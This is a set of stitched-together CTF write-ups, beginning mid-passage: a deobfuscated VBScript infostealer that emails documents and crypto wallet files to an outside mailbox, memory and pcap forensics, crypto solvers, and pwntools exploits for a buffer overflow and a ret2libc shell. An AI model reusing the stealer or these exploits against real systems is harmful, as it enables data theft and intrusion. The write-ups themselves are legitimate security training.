stringsOfNumbers.split('*') for number in splitedStringsOfNumbers: evaledStringsOfNumbers += chr(int(eval(number))) evalPayload() def evalPayload(): # DO NOT RUN THE EVAL # eval(evaledStringsOfNumbers) with open('stage2.vbs', 'w') as file: file.write(evaledStringsOfNumbers) if __name__ == '__main__': functionSplitStringsOfNumbers()``` **Let's run that Python script! It should return the second stage payload!**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Reverse/Give-My-Money-Back)-[2023.05.14|16:23:19(HKT)]└> python3 deobfuscate_stage1.py ┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Reverse/Give-My-Money-Back)-[2023.05.14|16:23:25(HKT)]└> file stage2.vbs stage2.vbs: ASCII text``` **`stage2.vbs`:**```vbon error resume nextConst Desktop = 4Const MyDocuments = 16Set S = CreateObject("Wscript.Shell") Set FSO = CreateObject("scripting.filesystemobject")WScript.Sleep(1000 * 30) strSMTP_Server = "smtp.mail.ru"strTo = "[email protected]"strFrom = "[email protected]"strSubject = "AIRDROP"strBody = "LOG" Set iMsg=CreateObject("CDO.Message") Set iConf=CreateObject("CDO.Configuration") Set wshShell = CreateObject( "WScript.Shell" )strUserName = wshShell.ExpandEnvironmentStrings( "%USERNAME%" )Set Flds=iConf.Fields Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = true Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "[email protected]"Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "R4CMZ3rVnMFtzz6vzRi1" Flds.Update iMsg.Configuration=iConf iMsg.To=strTo iMsg.From=strFrom iMsg.Subject=strSubject iMsg.TextBody=strBody Set fld = FSO.GetFolder(S.SpecialFolders(Desktop))For each file in fld.files if LCase(FSO.GetExtensionName(file)) = "txt" Then iMsg.AddAttachment file.path End ifNext Flds.Update iMsg.Configuration=iConf iMsg.To=strTo iMsg.From=strFrom iMsg.Subject=strSubject iMsg.TextBody=strBody Set fld = FSO.GetFolder(S.SpecialFolders(MyDocuments))For each file in fld.files if LCase(FSO.GetExtensionName(file)) = "txt" Then iMsg.AddAttachment file.path End ifNextiMsg.AddAttachment "C:\Users\" & strUserName & "\AppData\Local\odin\odinreport.zip"iMsg.AddAttachment "A:\Users\" & strUserName & "\AppData\Local\odin\odinreport.zip"iMsg.AddAttachment "B:\Users\" & strUserName & "\AppData\Local\odin\odinreport.zip"iMsg.AddAttachment "D:\Users\" & strUserName & "\AppData\Local\odin\odinreport.zip"iMsg.AddAttachment "C:\Users\" & strUserName & "\AppData\Roaming\Bitcoin\wallet.dat"iMsg.AddAttachment "C:\Users\" & strUserName & "\AppData\Roaming\Electrum\wallets\default_wallet"iMsg.Send Set mFSO = CreateObject("Scripting.FileSystemObject") Call mFSO.DeleteFile(WScript.ScriptFullName, True)``` As you can see, this malware is an information stealer malware, as **it's exfiltrating `odinreport.zip`, crypto wallets like Bitcoin's `wallet.dat`, Electrum's `default_wallet`.** **Also, in this stage 2 payload, it's adding those attachments to an email, and send to email address `[email protected]`.** - **Flag: `Hero{[email protected]|default_wallet}`** ## Conclusion What we've learned: 1. Manually Deobfuscating VBScript Code
# Attaaaaack7 ## Background Q7. What is the API used by the malware to retrieve the status of a specified virtual key on the keyboard ? flag format : crew{AbcDef} Author : 0xSh3rl0ck ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230710142906.png) ## Find the flag **Since we found the sussy executable, we can dump that file:**```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Attaaaaack)-[2023.07.08|19:10:29(HKT)]└> mkdir runddl┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Attaaaaack)-[2023.07.08|19:10:43(HKT)]└> python2 /opt/volatility/vol.py --profile=Win7SP1x86_23418 -f memdump.raw procdump --pid=300 --dump-dir=runddl [...]┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Attaaaaack)-[2023.07.08|19:10:58(HKT)]└> ls -lah runddl total 668Kdrwxr-xr-x 2 siunam nam 4.0K Jul 8 18:47 .drwxr-xr-x 3 siunam nam 4.0K Jul 8 18:51 ..-rw-r--r-- 1 siunam nam 659K Jul 8 18:47 executable.300.exe┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Attaaaaack)-[2023.07.08|19:11:06(HKT)]└> file runddl/executable.300.exe runddl/executable.300.exe: PE32 executable (GUI) Intel 80386, for MS Windows, 9 sections``` Since this challenge is asking for the API (**Not API key**) to retrieve status on the keyboard, we can use `strings` and `grep` to find `key` related strings: ```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Attaaaaack)-[2023.07.08|19:12:12(HKT)]└> strings runddl/executable.300.exe | grep -i 'key'AutoHotkeysd-CAutoHotkeysAutoHotkeysTWMKeySystem\CurrentControlSet\Control\Keyboard Layouts\%.8x TKeyEventTKeyPressEventHelpKeyword nA80211_SHARED_KEYKEYNAMEKEYNAMEKEYNAMEKEYNAMERegOpenKeyExARegCloseKeyGetKeyboardTypekeybd_eventVkKeyScanAMapVirtualKeyALoadKeyboardLayoutAGetKeyboardStateGetKeyboardLayoutNameAGetKeyboardLayoutListGetKeyboardLayoutGetKeyStateGetKeyNameTextAActivateKeyboardLayoutRegQueryInfoKeyARegOpenKeyExARegOpenKeyARegFlushKeyRegEnumKeyExARegDeleteKeyARegCreateKeyExARegCreateKeyARegCloseKeyUntKeyloggerUntControlKey``` As you can see, the `GetKeyboardState` and `GetKeyState` API looks promising. - **Flag: `crew{GetKeyState}`**
# Backup (misc)Writeup by: [xlr8or](https://ctftime.org/team/235001) As part of this challenge a `pcap` file was provided, that can be inspected by wireshark.Immediately it can be noticed that there are some `telnet` packets in the capture, this is always interesting, since telnet is not encrypted by default. The telnet capture reveals the username and password that was used for authentication:```Login incorrect1337router login: rroooott Password: sup3rs3cur3``` From this it can be noted that the **root** use authenticated with password **sup3rs3cur3**.Further it can be seen that an ftp server is started during the telnet session:```<< Welcome to 1337router! >>Last login: Wed Jan 25 17:00:37 UTC 2023 from 192.168.56.3 on pts/2.[?2004h.]0;root@1337router: ~.root@1337router:~# aaccttiivvaattee__ffttpp .[?2004l.ftp server activated.[?2004h.]0;root@1337router: ~.root@1337router:~# ..[?2004l.logout``` Therefore the capture file can be checked for FTP packets: ```220 Welcome to 1337 FTP service.USER anonymous331 Please specify the password.PASS xxx230 Login successful.SYST215 UNIX Type: L8PORT 192,168,56,3,188,253200 PORT command successful. Consider using PASV.LIST150 Here comes the directory listing.226 Directory send OK.TYPE I200 Switching to Binary mode.PORT 192,168,56,3,213,243200 PORT command successful. Consider using PASV.RETR backup.zip150 Opening BINARY mode data connection for backup.zip (411 bytes).226 Transfer complete.QUIT221 Goodbye.``` At the bottom of the commands we see that the client requests binary mode and then a transfer of `backup.zip`. We can use wireshark to extract this zip file, by going into `File > Export Objects > FTP-DATA` and exporting the only available option in the dialog. This will export `backup.zip` for us, and the same password that was used for the authentication of the root user can be used to extract `secrets.json` from this zip file. And the flag is contained in `secrets.json`
# Attaaaaack4 ## Background Q4. What is the name and PID of the suspicious process ? example : crew{abcd.exe_111} Author : 0xSh3rl0ck ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230710142835.png) ## Find the flag **In Attaaaaack2, we found all running processes, there's some processes look weird:**```Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit ---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------[...]0x84398998 runddl32.exe 300 2876 10 2314 1 0 2023-02-20 19:03:40 UTC+00000x84390030 notepad.exe 2556 300 2 58 1 0 2023-02-20 19:03:41 UTC+00000x84df2458 audiodg.exe 1556 752 6 129 0 0 2023-02-20 19:10:50 UTC+0000 0x84f1caf8 DumpIt.exe 2724 1596 2 38 1 0 2023-02-20 19:10:52 UTC+0000[...]``` The `runddl32.exe` is weird to me, as its name is run**ddl**, not run**dll**. - **Flag: `crew{runddl32.exe_300}`**
# BarakLe challenge revient à résoudre une instance de ECDLP sur une courbe Hessienne. La courbe est d'équation$$ (E): x^3 + y^3 + c - dxy = 0$$avec```pythonp = 73997272456239171124655017039956026551127725934222347d = 68212800478915688445169020404812347140341674954375635c = 1``` Note, ce n'est techniquement **pas** une courbe elliptique à cause du $y^3$. Pour les curieux, voici à quoi ressemble une courbe Hessienne:![E](https://i.imgur.com/WMg1Ozo.png)C'est très similaire au Folium de Descartes, mais c'est pas exactement la même courbe. ![Point addition](https://i.imgur.com/wOnowOh.png)L'addition de points est similaire à l'addition classique pour les courbes elliptiques.On trace la droite passant par les deux points, on trouve la 3e intersection eton effectue une symétrie axiale, cette fois-ci autour de $(\Delta): y=x$. Il nous est donné deux points $P$, $Q$ de sorte que $P = Q\cdot m$ pour un certain $m$.L'objectif est de retrouver $m$, qui encode la solution du challenge. ```P = (71451574057642615329217496196104648829170714086074852, 69505051165402823276701818777271117086632959198597714)Q = (40867727924496334272422180051448163594354522440089644, 56052452825146620306694006054673427761687498088402245)``` ## Trouver l'ordre du point P Il est possible de construire une équivalence birationnelle entre $(E)$ et unecourbe elliptique[1].Le script suivant illustre la construction de cette courbe elliptique: ```python=p = 73997272456239171124655017039956026551127725934222347G = GF(p)d = G(68212800478915688445169020404812347140341674954375635)D = d/3c = 1# Hessian Curve:# x³ + y³ + 1 = 3Dxy # Weierstrass equivalenta = -27*D*(D^3 + 8)b = 54*(D^6 - 20*D^3 - 8)E2 = EllipticCurve(G, [a, b])print(E2)# Elliptic Curve defined by y^2 = x^3 + 44905983883632632311912975168565494049729462391119290*x + 4053170785171018449128623853386306889464200866918538 over Finite Field of size 73997272456239171124655017039956026551127725934222347``` Les deux courbes étant équivalentes, cela nous assure qu'elles possèdent le mêmeordre, que nous pouvons calculer grâce à sage: ```python=order = E2.order()# 73997272456239171124655016995459084401465136460086688``` Par théorème de Lagrange, l'ordre de $P$ doit obligatoirement diviser l'ordre de $E$,donc l'ordre de $E2$.Son ordre va donc être le plus petit diviseur $k$ de `order` tel que $P\cdot k = O$. Le script suivant implémente les divers opérateurs sur la courbe Hessienne,puis calcule l'ordre $n$ du point $P$: ```python=class HessianPoint: def __init__(self, x, y): self.x = G(x) self.y = G(y) assert (x, y) == (0, 0) or x^3 + y^3 + c - d*x*y == 0 def __eq__(P, Q): return (P.x, P.y) == (Q.x, Q.y) def __add__(P, Q): if (P.x, P.y) == (0, 0): return Q if (Q.x, Q.y) == (0, 0): return P if (P.x, P.y) == (Q.y, Q.x): return HessianPoint(0, 0) x1, y1 = P.x, P.y x2, y2 = Q.x, Q.y if P == Q: x3 = y1 * (c - x1^3) / (x1^3 - y1^3) y3 = x1 * (y1^3 - c) / (x1^3 - y1^3) else: x3 = (y1^2*x2 - y2^2*x1) / (x2*y2 - x1*y1) y3 = (x1^2*y2 - x2^2*y1) / (x2*y2 - x1*y1) return HessianPoint(x3, y3) def __mul__(P, m): if (P.x, P.y) == (0, 0): return P R = HessianPoint(0, 0) while m != 0: if m & 1: R = P + R m = m >> 1 if m != 0: P = P + P return R def __neg__(self): return HessianPoint(self.y, self.x) def __rmul__(P, m): return P*m def __repr__(self): return f"({self.x}, {self.y})" def __hash__(self): return hash((self.x, self.y)) P = HessianPoint(71451574057642615329217496196104648829170714086074852, 69505051165402823276701818777271117086632959198597714)Q = HessianPoint(40867727924496334272422180051448163594354522440089644, 56052452825146620306694006054673427761687498088402245)O = HessianPoint(0, 0) for k in order.divisors(): if P * k == O: breakn = k# 3083219685676632130193959041477461850061047352503612``` On remarque que l'ordre de $P$ se factorise simplement:$$ n = 2^2 × 3^2 × 17 × 2341 × 23497 × 500369 × 5 867327 × 33 510311 × 13824 276503 × 67342 255597$$ Le plus grand facteur premier de $n$ étant relativement petit, on peut se permettre de résoudre le logarithme discret avec une variante simplifiée de l'algorithme de Pohlig-Hellman. ## Résoudre le Logarithme Discret Pohlig-Hellman nous permet de simplifier ECDLP en plusieurs plus petites instances pour chaque facteur de $n$ que l'on peut par la suite combiner grâce à un CRT.Voici une variante simplifiée de l'algorithme de Pohlig-Hellman qui nous est suffisant au vu des contraintes: Pour chaque facteur $p_i^{e_i}$ de $n$, on cherche à trouver $k_i \equiv m \mod p_i^{e_i}$.Pour ce faire, on considère les deux points $P' = P \cdot \dfrac n {p_i^{e_i}}$ et $Q' = Q \cdot \dfrac n {p_i^{e_i}}$.Étant donné que $P' \cdot p_i^{e_i} = P \cdot n$, il est clair que l'ordre de $P'$ est de $p_i^{e_i}$. Ainsi, on peut résoudre $P' \cdot k_i = Q'$ et obtenir la valeur de $m \mod p_i^{e_i}$. Afin de résoudre cette plus petite instance, j'utilise l'algorithme baby-step giant-step,de complexité temporelle $O(\sqrt{p_i^{e_i}})$. ```python=def baby_step_giant_step(P, Q, order): """ Résoud P·x = Q pour x entre 0 et order-1 """ m = isqrt(order) # x = am + b # ⇒ Q = P*(am + b) # ⇒ P*(am) = Q+P*(-b) memory = {} # On y stocke toutes les valeurs possibles de P*(am), # associées à leur valeur de `a` respective. M = O S = P*m # giant step for a in range(m): # M = P*(am) memory[M] = a M += S b = 0 M = Q S = -P # baby step while M not in memory: # M = Q+P*(-b) b += 1 M += S a = memory[M] x = a*m + b assert P * x == Q return x``` Et ici se trouve l'algorithme complet en action: ```python=factors = n.factor()p = [factor[0] for factor in factors]e = [factor[1] for factor in factors] crt_a = []crt_b = []for i in range(len(p)): pi = p[i] ei = e[i] P0 = (n // (pi^ei)) * P Q0 = (n // (pi^ei)) * Q k = baby_step_giant_step(P0, Q0, pi^ei) crt_a.append(k) crt_b.append(pi^ei) print(f"m = {k} mod {pi^ei}")# m = 1 mod 4# m = 1 mod 9# m = 13 mod 17# m = 1489 mod 2341# m = 18879 mod 23497# m = 339241 mod 500369# m = 4831116 mod 5867327# m = 31953114 mod 33510311# m = 10804270204 mod 13824276503# m = 57315765050 mod 67342255597 m = CRT(crt_a, crt_b)# 1780694557271320552511299360138314441283923223949197assert P * m == Q``` ## Retrouver le flag Dernière subtilité, il existe plusieurs valeurs de $m$ valides tel que $P \cdot m = Q$.En effet $P \cdot (m + \lambda n) = P \cdot m + P \cdot n \cdot \lambda = Q + O \cdot \lambda = Q$ pour toute valeur de $\lambda$ entière.La seule restriction donnée dans le fichier d'entrée est que $m < p$, alors on testetoutes les valeurs de $m$ valides jusqu'à trouver le flag: ```python=p = 73997272456239171124655017039956026551127725934222347while m < p: flag = long_to_bytes(m) try: print('CCTF{' + flag.decode() + '}') except ValueError: pass m += n # CCTF{_hE5S!4n_f0rM_0F_3CC!!}``` ## Références [1] https://link.springer.com/content/pdf/10.1007/3-540-44709-1_33.pdf
# shellcode-ception (rev)Writeup by: [xlr8or](https://ctftime.org/team/235001) As part of this challenge we get a stripped binary ELF file.The file can be opened in Ghidra, and from there we can get to the main function as follows:1. Locate the `entry` function2. First argument passed to `__libc_start_main` is our main function In the `main` function we see that it is relatively simple:```c code *__dest; int local_c; __dest = (code *)valloc(0x98); memcpy(__dest,&DAT_00102020,0x134); for (local_c = 0; local_c < 0x134; local_c = local_c + 1) { __dest[local_c] = (code)((byte)__dest[local_c] ^ 0x69); } mprotect(__dest,0x98,7); (*__dest)(); return 0;``` It allocates some memory, copies some blob from the binary to it, while decoding it with xor (key = `0x69`).Finally `mprotect` is used to make the memory region executable, and then we call the injected code. Because of the name of the challenge I was worried that there would be multiple such extractions, so I have decided to continue with dynamic analysis. To begin let's set a breakpoint on the `call RDX` instruction, that is going to jump to the injected code.Next some values get put on the stack, I suspect this will be decoded to give us the flag, or the new shellcode``` 0x55555555a004 movabs rax, 0x2a2275313a131202 0x55555555a00e movabs rdx, 0x72222f701e262f28 0x55555555a018 mov qword ptr [rbp - 0x30], rax 0x55555555a01c mov qword ptr [rbp - 0x28], rdx 0x55555555a020 movabs rax, 0x75221e2f71703531 0x55555555a02a movabs rdx, 0x2f2f751e24231e2f 0x55555555a034 mov qword ptr [rbp - 0x20], rax 0x55555555a038 mov qword ptr [rbp - 0x18], rdx 0x55555555a03c mov dword ptr [rbp - 0x10], 0x2f70382e``` Next we see some instructions which which signal the existence of a loop:``` 0x55555555a04d mov dword ptr [rbp - 4], 0 0x55555555a054 jmp 0x55555555a072 <0x55555555a072> ... 0x55555555a072 cmp dword ptr [rbp - 4], 0x25 0x55555555a076 jle 0x55555555a056 <0x55555555a056>``` The body of the loop looks as follows:``` 0x55555555a056 mov eax, dword ptr [rbp - 4] 0x55555555a059 cdqe 0x55555555a05b movzx eax, byte ptr [rbp + rax - 0x30] 0x55555555a060 xor eax, 0x41 0x55555555a063 mov edx, eax 0x55555555a065 mov eax, dword ptr [rbp - 4] 0x55555555a068 cdqe 0x55555555a06a mov byte ptr [rbp + rax - 0x30], dl 0x55555555a06e add dword ptr [rbp - 4], 1``` Here we see that we load some data, xor it with `0x41` and then put it back. It is clear that this is a decoding loop acting on the data that was put on the stack at the start of this section.The base of this data is `rbp-0x30`, since `rax` gets the value of the loop iterator and is used as an offset from this location. We can just set a breakpoint to when the loop finishes and `x/xs $rbp-0x30` to get the flag.
# Trex ## Source The study of Diophantine equations over trex can be significantly more challenging than over the real numbers. ## Exploit Let's start by understanding the code in trex.py. ```def die(*args): pr(*args) quit() def pr(*args): s = " ".join(map(str, args)) sys.stdout.write(s + "\n") sys.stdout.flush() def sc(): return sys.stdin.buffer.readline()``` - These 3 functions are used to interact with the user.- `sc()` takes the input you provide.- `pr()` prints something.- `die()` prints something and ends the program. Now entering the `main()` function```def main(): border = "|" pr(border*72) pr(border, ".:: Hi all, she DID it, you should do it too! Are you ready? ::. ", border) pr(border, "Welcome to the Ternary World! You need to pass each level until 20 ", border) pr(border, "to get the flag. Pay attention that your solutions should be nonzero", border) pr(border, "distinct integers. Let's start! ", border) pr(border*72)```- Prints the welcome text and instructions. ``` level, step = 0, 19 while level <= step: a = random.randint(2**(level * 12), 2**(level*12 + 12)) equation = f'x^2 + y^2 - xy = {a}*z^3' pr(f"Level {level + 1}: {equation}")```- This means that there will be 19 levels in the code, each this it will produce an equation of format `x^2 + y^2 - xy = a * z^3` where a is a random integer which gets higher with levels. ``` inputs = input().strip().split(",") try: x, y, z = map(int, inputs) except: die(border, "Invalid input, Bye!!") if check_inputs(x, y, z): if check_solution(a, x, y, z): pr(border, "Correct! Try the next level :)") level += 1 else: pr(border, "You didn't provide the correct solution.") die(border, "Better luck next time!") else: pr(border, "Your solutions should be non-zero distinct integers") die(border, "Quiting...") if level == step: pr(border, "Congratulations! You've successfully solved all the equations!") die(border, f"flag: {flag}")```- In every level, based on the value of a, we have to provide values of x,y and z of our choice so that it satisfies `check_inputs(x,y,z)` and `check_solution(a,x,y,z)` then we will get the flag in the last level. ```def check_inputs(a, b, c): if not all(isinstance(x, int) for x in [a, b, c]): return False if a == 0 or b == 0 or c == 0: return False if a == b or b == c or a == c: return False return True def check_solution(a, x, y, z): return (x*x + y*y - x*y - a*(z**3)) == 0```- The `check_inputs()` function makes sure all inputs are distinct and none are 0, whereas the `check_solution()` function checks if the values of x,y and z satisfies the given equation. - **Exploit :** The equation `x^2 + y^2 - xy = a * z^3` can simply be converted to a quadratic equation if we control y and z. `x^2 - xy + y^2 - a*z^3 = 0`.- It would be easier to make it such that both roots are equal. So, b^2=4ac i.e. `y^2=4*y^2-4*a*z^3` -> `3*y^2 = 4*a*z^3`.- So, if we take `z = 3*a` , `y = 6*a^2` and `x = -b/2 = y/2 = 3*a^2`. ## Script ### 1.Making the Connection and receiving the introduction```from pwn import * r=remote(r"03.cr.yp.toc.tf",31317) for i in range(5): r.recvline()``` ### 2.Clearing the levels with the derived relations between a, x, y and z```for i in range(19): n=r.recvline().decode() print(n) a=int(n.split('=')[1].split('*')[0][1:]) x=str(3*a**2) y=str(6*a**2) z=str(3*a) payload=(x+','+y+','+z).encode() r.sendline(payload) r.recvline()```- Payload is formed with x,y,z separated by comma and sent as input 19 times ### 3.Getting the flag```print(r.recvline())flag=r.recvline().decode().strip()[2:]print(flag)``` ## Flag The flag is `CCTF{T3rn3ry_Tr3x_3Qu4t!0n}`
# TPSD ## Source Solving Diophantine equations is a notoriously challenging problem in number theory, and finding non-trivial integer solutions for certain equations is considered a major open problem in mathematics. ## Exploit There is no script provided, so we will manually interact with the challange to get the instructions using python and pwntools. ![Open Url for the Interaction png](https://github.com/AKSLEGION/Crypto-Writeups/blob/master/Crypto_CTF_2023/TPSD/Interaction.png?raw=true) - So, the challenge asks us to send 3 integers p,q and r such that `p^3+q^3+r^3 = 1`. It also gives us the range of how long the bit length of p,q and r should be for each level.- Also atleast one of those 3 must be prime. - We can generate p,q and r such that `p^3+q^3+r^3 = 1` by providing the values - `P = 9*(b**4)` - `Q = -3*b-9*(b**4)` - `R = 1+9*(b**3)` ## Script ### 1. Setting the Connection and Function to get p,q and r```from pwn import * host=r'05.cr.yp.toc.tf'port=11137 from Crypto.Util.number import *from math import *from sympy import isprime def find_b(l,r): l = round(((2**l+1)//9)**(1/3)) r = round(((2**r+1)//9)**(1/3)) for b_ in range(l,r): a = 9*(b_**3)+1 if isprime(a): return b_```- Initialises the connection credentials.- R is the lowest absolute number among p,qand r , so we find the range of b such that R is in the given bit range and since we are starting from low to high, R will be pretty low in the range hence P and Q which are higher than R will also be in the range.- It checks if R is prime since we need atleast one prime and then returns b. ### 2. Getting the instructions```while True: try: r=remote(host,port) for i in range(9): print(r.recvline())```- Sets up a connection to the challenge and recieves the Instruction messages. ### 3. Getting the Range and forming the 3 numbers``` while True: print(r.recvline()) range_=r.recvline().decode().strip() l_r=range_.split('(')[1].split(')')[0] left,right=map(int,l_r.split(', ')) print(left,right) b = find_b(left,right) P = 9*(b**4) Q=-3*b-9*(b**4) R=1+9*(b**3)```- This goes on as long as there is a EOF error then the first loop breaks as there is r.close and break in except block of code ### 4. Sending the numbers and getting the feedback.``` s=str(P)+','+str(Q)+','+str(R) print(s) r.sendline(s.encode()) print(r.recvline()) except: r.close() break```- Sends the numbers as many times as prompted , gets the flag, hits EOF error and breaks. ## Flag The flag is CCTF{pr1m3S_in_7ErnArY_Cu8!c_3qu4tI0nS!}
# Classy (pwn)Writeup by: [xlr8or](https://ctftime.org/team/235001) As part of this challenge with get an x86 ELF binary with it's source code (c++).The application gets the flag from an environment variable. Then a series of prompts follow, but the important take away is this: we can make the application print the flag for us, if we have sophistication level 2 (by choosing option [3] Flags), but this sophistication level requires a password, which is unknown to us (the remote uses a different password than the one in the source code `hunter`) So we are stuck with sophistication level 1, which will not reveal the flag to us, even when choosing the option which talks about flags. However the application has a vulnerability, let's look at it: ```cpp// main.cpp:225 cout << "Now what do you want to tell me?" << endl; scanf("%s", input.text); if (level == 1) { talk(input.lCon, choice); } else { talk(input.hCon, choice); }``` The user input is read with `scanf` instead of `cin`, however the amount to read is not bound in the format string! Therefore we can write out of the bounds of the `input.text` variable. Let's see how that can be useful to us:```cppstruct input_info { char text[256]; HighLevelConnoisseur hCon; LowLevelConnoisseur lCon;};``` `input` is of type `input_info`, and as you can see we have the ability to overwrite `hCon` and `lCon` as well.This is important, since these objects will be used with the specified dialog item, to talk about the selected item. So all we need to do is to replace `lCon` with `hCon`, and then we can get the flag. Since the binary has PIE disabled, we can just execute the binary and grab the value of these 2 fields, as they will not change from run to run. Here GDB shows us the value of the `input` variable, before the call to `scanf` ```$1 = { text = "\000\000\000\000\000\000\000\0000\365A", '\000' <repeats 29 times>, "\240\033\277\367\377\177\000\000\001\000\000\000\000\000\000\000\240\377\377\377\377\377\377\377\021\000\000\000\000\000\000\000\000\320\377\367\377\177\000\000\000\000\000\000\000\000\000\000*ت\367\377\177", '\000' <repeats 18 times>, "\037", '\000' <repeats 15 times>, "P\273@\000\000\000\000\000\235\b\313\367\377\177\000\000@\273@\000\000\000\000\000\027\227\325\367\377\177\000\000\031X@", '\000' <repeats 13 times>, "\036\000\000\000\000\000\000\000\000h\372\217(\345\004\237 \274@\000\000\000\000\000@"..., hCon = { <Connoisseur> = { _vptr.Connoisseur = 0x406a98 <vtable for HighLevelConnoisseur+16> }, <No data fields>}, lCon = { <Connoisseur> = { _vptr.Connoisseur = 0x406ab0 <vtable for LowLevelConnoisseur+16> }, <No data fields>}}``` The value of `hCon` is `0x406a98`, therefore that is the value we want `lCon` to have as well.The python script below automatically overwrites the `lCon` field and recovers the flag: ```pythonfrom pwn import * rem = Trueconnstr = 'rumble.host 9797'binary_path = './classy' p = Noneif not rem: p = process(binary_path)else: parts = connstr.split(' ') if ' ' in connstr else connstr.split(':') ip = parts[0] port = int(parts[1]) p = remote(ip, port) p.sendlineafter(b'?', b'1')p.sendlineafter(b'level.', b'3') payload = b'A' * (256 + 8) + b'\x98\x6a\x40'input('.')p.sendlineafter(b'me?', payload)p.interactive()``` It first fills up the `text` buffer, then overwrite `hCon`, since there's no way around it, but we don't really care about its value. Then the important bit is overwriting `lCon` with the value `hCon` used to have.
## VIP at libc > Sooo I heard that if you were VIP, you could access some specific features!> Maybe one of those features can be used to get inside their system?> > **INFO** : *This challenge need to spawn an instance, you can connect to it with netcat: nc IP PORT*> > Author: Zerotistic#0001>> Remote service at : nc 51.254.39.184 1335 VIP at libc is a basic stack based buffer overflow challenge. To trigger the large buffer overflow in the `access_lounge` function, we have to trigger the int overflow within the `buy_ticket` function. Then it is a classic ret2libc exploit, first we leak the address of `puts` by calling `puts(&puts@got)`, then we return to the `main` function. Finally we call `system("/bin/sh")` by triggering the bof the same way. ## Final exploit ```py#!/usr/bin/env python# -*- coding: utf-8 -*- # this exploit was generated via# 1) pwntools# 2) ctfmate import osimport timeimport pwn BINARY = "vip_at_libc"LIBC = "/home/nasm/Documents/pwn/pwnme/vip/libc.so.6"LD = "/home/nasm/Documents/pwn/pwnme/vip/ld-linux-x86-64.so.2" # Set up pwntools for the correct architectureexe = pwn.context.binary = pwn.ELF(BINARY)libc = pwn.ELF(LIBC)ld = pwn.ELF(LD)pwn.context.terminal = ["tmux", "splitw", "-h"]pwn.context.delete_corefiles = Truepwn.context.rename_corefiles = Falsep64 = pwn.p64u64 = pwn.u64p32 = pwn.p32u32 = pwn.u32p16 = pwn.p16u16 = pwn.u16p8 = pwn.p8u8 = pwn.u8 host = pwn.args.HOST or '127.0.0.1'port = int(pwn.args.PORT or 1337) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if pwn.args.GDB: return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return pwn.process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = pwn.connect(host, port) if pwn.args.GDB: pwn.gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if pwn.args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) gdbscript = '''source ~/Downloads/pwndbg/gdbinit.py'''.format(**locals()) def exp(): io = start() io.sendlineafter(b"Your username: ", b"nasm") io.sendlineafter(b"> \n", b"2") io.sendlineafter(b"> \n", b"3") io.sendlineafter(b"> \n", b"-99999") io.sendlineafter(b"> \n", b"3") io.sendlineafter(b"> \n", b"1") io.sendlineafter(b"> \n", b"4") rop = pwn.ROP(exe) rop.call('puts', [exe.got.puts]) rop.call('main') io.sendlineafter(b"> ", b"4"*0x18 + rop.chain()) io.recvuntil(b"want.\n\n\n") libc.address = pwn.unpack(io.recvline().replace(b"\n", b"").ljust(8, b"\x00")) - 0x58ed0 - 0x28000 pwn.log.info(f"libc: {hex(libc.address)}") io.sendlineafter(b"Your username: ", b"nasm") io.sendlineafter(b"> \n", b"2") io.sendlineafter(b"> \n", b"3") io.sendlineafter(b"> \n", b"-99999") io.sendlineafter(b"> \n", b"3") io.sendlineafter(b"> \n", b"1") io.sendlineafter(b"> \n", b"4") rop_libc = pwn.ROP(libc) rop_libc.call('system', [next(libc.search(b"/bin/sh\x00"))]) print(rop_libc.dump()) io.sendlineafter(b"> ", b"4"*0x18 + pwn.p64(rop.ret.address) + rop_libc.chain()) io.interactive() if __name__ == "__main__": exp() """nasm@off:~/Documents/pwn/pwnme/vip$ python3 exploit.py REMOTE HOST=51.254.39.184 PORT=1335[*] '/home/nasm/Documents/pwn/pwnme/vip/vip_at_libc' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: b'/home/nasm/Documents/pwn/pwnme/vip'[*] '/home/nasm/Documents/pwn/pwnme/vip/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] '/home/nasm/Documents/pwn/pwnme/vip/ld-linux-x86-64.so.2' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to 51.254.39.184 on port 1335: Done[*] Loaded 6 cached gadgets for 'vip_at_libc'[*] libc: 0x7fdf08902000[*] Loaded 218 cached gadgets for '/home/nasm/Documents/pwn/pwnme/vip/libc.so.6'0x0000: 0x7fdf0892c3e5 pop rdi; ret0x0008: 0x7fdf08ada698 [arg0] rdi = 1405959000326640x0010: 0x7fdf08952d60 system[*] Switching to interactive mode Your lounge 444444444444444444444444\x1a@ has been created!You can access it whenever you want. $ cat flag.txtPWNME{OOO0h_yoU_4re_V1P_4ND_g0t_sh3LL_w1th_LIBC??!!_S0_strong!!!e5b2cf}"""```
